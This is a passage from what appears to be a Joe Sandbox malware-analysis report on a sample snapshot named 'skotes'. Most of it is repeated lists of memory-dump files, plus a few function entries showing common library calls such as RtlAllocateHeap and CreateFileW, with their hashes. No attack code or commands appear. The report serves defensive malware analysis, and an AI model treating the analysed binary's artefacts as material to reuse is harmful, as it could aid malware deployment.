Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 49697ba1e5514a07b16767df9671d8795bfdaed0bc1094932b1c11dfa257c68d
Instruction ID: bbb37116c275373eb80c26fbf26e854feec4e162710425f274eebceec5c099d5
Opcode Fuzzy Hash: 49697ba1e5514a07b16767df9671d8795bfdaed0bc1094932b1c11dfa257c68d
Instruction Fuzzy Hash: 6311187290424DABDB18DED5C984EDFBBBDAF0C310F205266E551E2080EB30EB49CB61

Function 005EAC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 005EAC8D

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 79fe39622ffa943e4deff665d8f4d464e1424668ae590ef8dcd4b6ce81ff3ce4
Instruction ID: 9012b5cda65245ec97b3997dee2dfa3581dd1d55dc1dbba740fdc40c0405adab
Opcode Fuzzy Hash: 79fe39622ffa943e4deff665d8f4d464e1424668ae590ef8dcd4b6ce81ff3ce4
Instruction Fuzzy Hash: 0D1145B1A0420AAFCB09DF69E94199E7BF5FF48304F154069F809AB211D630EE21CBA5

Function 005ED82F Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,005EA813,00000001,00000364,00000006,000000FF,?,005CD3FC,581F31DB,?,005C7A8B,?), ref: 005ED871

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b3c9b198a8ca02d5e812ffc5d8d4f1ea41969a2200cb846edee781cba537933c
Instruction ID: ec83c4f17fa59255879008b3296ddfd78e0758a802ca07c77407187504b1293a
Opcode Fuzzy Hash: b3c9b198a8ca02d5e812ffc5d8d4f1ea41969a2200cb846edee781cba537933c
Instruction Fuzzy Hash: 2DF0E9326091B566EB2D2A739C05A6B3F79FF85370B188422FCD8E7181DA31EC0081F0

Function 005EB04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,581F31DB,?,?,005CD3FC,581F31DB,?,005C7A8B,?,?,?,?,?,?,005B7465,?), ref: 005EB07D

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cf9aaecbc2b57ae437ded3c5a5d1d61a9752ef02a19c74475adeefe9935bfba0
Instruction ID: 5be45e094e7ccfce835a49dd8e236aa0c27859736074f23f4e25cc75f800a391
Opcode Fuzzy Hash: cf9aaecbc2b57ae437ded3c5a5d1d61a9752ef02a19c74475adeefe9935bfba0
Instruction Fuzzy Hash: C5E065365452F696F73932779C0CB5F6E49BB813B1F151251EDE4961A0DB10FD0081E1

Function 005F1775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,005F1B65,?,?,00000000,?,005F1B65,00000000,0000000C), ref: 005F1792

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
